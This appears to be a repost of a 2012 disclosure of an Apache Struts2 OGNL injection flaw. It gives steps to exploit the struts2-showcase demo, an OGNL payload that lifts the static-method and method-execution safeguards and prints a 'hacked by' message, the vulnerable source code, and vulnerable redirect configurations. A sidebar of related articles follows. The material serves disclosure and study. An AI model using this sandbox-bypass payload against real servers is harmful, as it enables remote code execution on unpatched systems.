apache struts2 remote code execute

简介: this method was published at xcon2012 xcon.xfocus.
this method was published at xcon2012 xcon.xfocus.net.
kxlzx http://www.inbreak.net

flow this and step by step:

1, down load struts2-showcase from struts.apache.org
2, run struts2-showcase.
3, open url: 
http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRIN
G-DEV
4, write skill name to %{expr} for example:
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.Metho
dAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts
2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println(
'hacked by kxlzx'),#hackedbykxlzx.close())}
5, submit and all will done.

this method:
public static String translateVariables(String expression, ValueStack stack) {
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
}
look two char "$" and "%"

and
this method:

public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
for (char open : openChars) {
.........
while (true) {
..........
String var = expression.substring(start + 2, end);

Object o = stack.findValue(var, asType);
............
if user input is "%{expr}"
this will execute ognl like:
${%{expr}}

this need devloper code like:

<action name="redirect" class="net.inbreak.RedirectAction">
<result name="redirect" type="redirect">${redirectUrl}</result>
</action>

or like:
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>

----------
kxlzx at alibaba security team.
my blog :http://www.inbreak.net
目录
相关文章
|
2天前
|
Java Maven
Maven编译报错:Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.13.0:compile 解决方案
在执行Maven项目中的`install`命令时,遇到编译插件版本不匹配的错误。具体报错为:`maven-compiler-plugin:3.13.0`要求Maven版本至少为3.6.3。解决方案是将Maven版本升级到3.6.3或降低插件版本。本文详细介绍了如何下载、解压并配置Maven 3.6.3,包括环境变量设置和IDEA中的Maven配置,确保项目顺利编译。
Maven编译报错:Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.13.0:compile 解决方案
|
4月前
|
Java Maven Spring
SpringBoot 系列之 Failed to execute goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resource
这篇文章描述了在使用Maven构建Spring Boot项目时遇到的`maven-resources-plugin`插件版本问题导致的编译失败,并提供了通过修改插件版本至3.1.0来解决这个问题的方法。
SpringBoot 系列之 Failed to execute goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resource
|
4月前
|
安全 Java 网络安全
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
|
7月前
|
Java
springboot打包错误:Failed to execute goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resource
springboot打包错误:Failed to execute goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resource
95 0
|
4月前
|
安全 Java 网络安全
Apache Struts Showcase App 2.0.0 到 2.3.13(在 2.3.14.3 之前的 Struts 2 中使用)远程代码执行(CVE-2013-1965)
Apache Struts Showcase App 2.0.0 到 2.3.13(在 2.3.14.3 之前的 Struts 2 中使用)远程代码执行(CVE-2013-1965)
|
7月前
|
前端开发 JavaScript Java
IDEA Maven install Failed to execute goal org.apache.maven.plugins异常处理
IDEA Maven install Failed to execute goal org.apache.maven.plugins异常处理
749 0
|
Java Maven
Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.12.4
Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.12.4
|
7月前
|
Oracle 关系型数据库 数据库
实时计算 Flink版操作报错合集之执行Flink job,报错“Could not execute SQL statement. Reason:org.apache.flink.table.api.ValidationException: One or more required options are missing”,该怎么办
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
419 0
|
7月前
|
SQL 分布式计算 资源调度
[已解决]FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.MoveTask. Unable to
[已解决]FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.MoveTask. Unable to
352 0
|
7月前
|
SQL 分布式计算 Hadoop
【已解决[ERROR] Could not execute SQL statement. Reason:java.lang.ClassNotFoundException: org.apache.had
【已解决[ERROR] Could not execute SQL statement. Reason:java.lang.ClassNotFoundException: org.apache.had
374 0

推荐镜像

更多